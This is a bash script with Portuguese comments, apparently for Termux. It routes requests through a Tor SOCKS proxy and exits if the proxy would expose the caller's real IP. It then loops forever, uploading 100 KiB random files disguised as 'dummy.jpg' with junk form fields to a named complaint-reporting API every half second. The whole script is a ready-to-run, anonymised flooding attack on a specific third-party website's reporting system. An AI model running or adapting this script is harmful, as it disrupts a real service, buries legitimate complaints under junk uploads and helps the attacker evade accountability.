set -euo pipefail TMPDIR="${TMPDIR:-/data/data/com.termux/files/usr/tmp}" mkdir -p "$TMPDIR" SOCKS_HOST=127.0.0.1 SOCKS_PORT=9050 SOCKS_PROXY="socks5h://$SOCKS_HOST:$SOCKS_PORT" URL="https://diskcarpe.com.br/denuncias/api.php" IP_CHECK_URL="https://ifconfig.me/ip" # retorna o IP do cliente em texto puro EXPECTED_PROXY_IP="" # opcional: coloque o IP externo conhecido do proxy para verificação mais forte INITIAL_CHECK_TIMEOUT=10 # segundos para a verificação inicial log(){ printf '%s %s\n' "$(date -Is)" "$*"; } cleanup(){ log "Limpando" [[ -n "${TMPFILE:-}" && -f "$TMPFILE" ]] && { rm -f "$TMPFILE"; log "Removido $TMPFILE"; } log "Saindo" exit 0 } trap cleanup INT TERM get_ip_via_proxy(){ curl --max-time "$INITIAL_CHECK_TIMEOUT" --socks5-hostname "$SOCKS_HOST:$SOCKS_PORT" -s "$IP_CHECK_URL" || true } post_via_proxy(){ curl --socks5-hostname "$SOCKS_HOST:$SOCKS_PORT" -s -o /dev/null \ -F "contato=@contato" \ -F "descricao=descricao_descricao_descricao" \ -F "files[]=@${TMPFILE};filename=dummy.jpg" \ "$URL" } # --- verificação única do proxy --- log "Realizando verificação inicial do proxy (timeout ${INITIAL_CHECK_TIMEOUT}s)..." proxy_ip="$(get_ip_via_proxy)" if [ -z "$proxy_ip" ]; then log "FALHOU: proxy inacessível na verificação inicial. Saindo para evitar vazamento." exit 1 fi proxy_ip="$(printf '%s' "$proxy_ip" | tr -d '[:space:]')" log "IP reportado pelo proxy: $proxy_ip" if [ -n "$EXPECTED_PROXY_IP" ] && [ "$proxy_ip" != "$EXPECTED_PROXY_IP" ]; then log "FALHOU: IP do proxy ($proxy_ip) não corresponde ao esperado ($EXPECTED_PROXY_IP). Saindo." exit 1 fi log "Verificação inicial do proxy OK" # --- verifica se o usuário está no Termux --- if [ -d "/data/data/com.termux/files/usr/bin" ]; then log "Usuário está no Termux — usando o loop com mktemp" # --- loop principal: sem sondagens repetidas ao proxy --- log "Iniciando loop (Ctrl+C para parar)" while true; do log "Criando arquivo temporário" TMPFILE="$(mktemp "$TMPDIR/dummy.XXXXX.jpg")" log "Arquivo temporário: $TMPFILE" log "Gerando 100 KiB de dados aleatórios" if [ -r /dev/urandom ]; then if ! dd if=/dev/urandom of="$TMPFILE" bs=1024 count=100 status=none 2>/dev/null; then log "FALHOU: dd falhou" rm -f "$TMPFILE" sleep 1 continue fi else if command -v openssl >/dev/null 2>&1; then if ! openssl rand -out "$TMPFILE" 102400; then log "FALHOU: openssl rand falhou" rm -f "$TMPFILE" sleep 1 continue fi else log "FALHOU: /dev/urandom ausente e openssl indisponível" rm -f "$TMPFILE" exit 1 fi fi log "Enviando POST via proxy" if post_via_proxy; then log "OK: POST enviado via proxy" else log "FALHOU: POST via proxy retornou com erro" rm -f "$TMPFILE" sleep 1 continue fi rm -f "$TMPFILE" && log "Removido $TMPFILE" sleep 0.5 done else log "Usuário não está no Termux — usando o loop com /tmp/dummy.jpg" # --- loop principal: sem sondagens repetidas ao proxy --- log "Iniciando loop (Ctrl+C para parar)" while true; do log "Criando arquivo temporário" TMPFILE="/tmp/dummy.jpg" log "Arquivo temporário: $TMPFILE" log "Gerando 100 KiB de dados aleatórios" if [ -r /dev/urandom ]; then if ! dd if=/dev/urandom of="$TMPFILE" bs=1024 count=100 status=none 2>/dev/null; then log "FALHOU: dd falhou" rm -f "$TMPFILE" sleep 1 continue fi else if command -v openssl >/dev/null 2>&1; then if ! openssl rand -out "$TMPFILE" 102400; then log "FALHOU: openssl rand falhou" rm -f "$TMPFILE" sleep 1 continue fi else log "FALHOU: /dev/urandom ausente e openssl indisponível" rm -f "$TMPFILE" exit 1 fi fi log "Enviando POST via proxy" if curl -x socks5h://127.0.0.1:9050 -s -o /dev/null -F "contato=@contato" -F "descricao=descricao_descricao_descricao" -F "files[]=@$TMPFILE;filename=dummy.jpg" "$URL"; then log "OK: POST enviado via proxy" else log "FALHOU: POST via proxy retornou com erro" rm -f "$TMPFILE" sleep 1 continue fi rm -f "$TMPFILE" && log "Removido $TMPFILE" sleep 0.5 done fi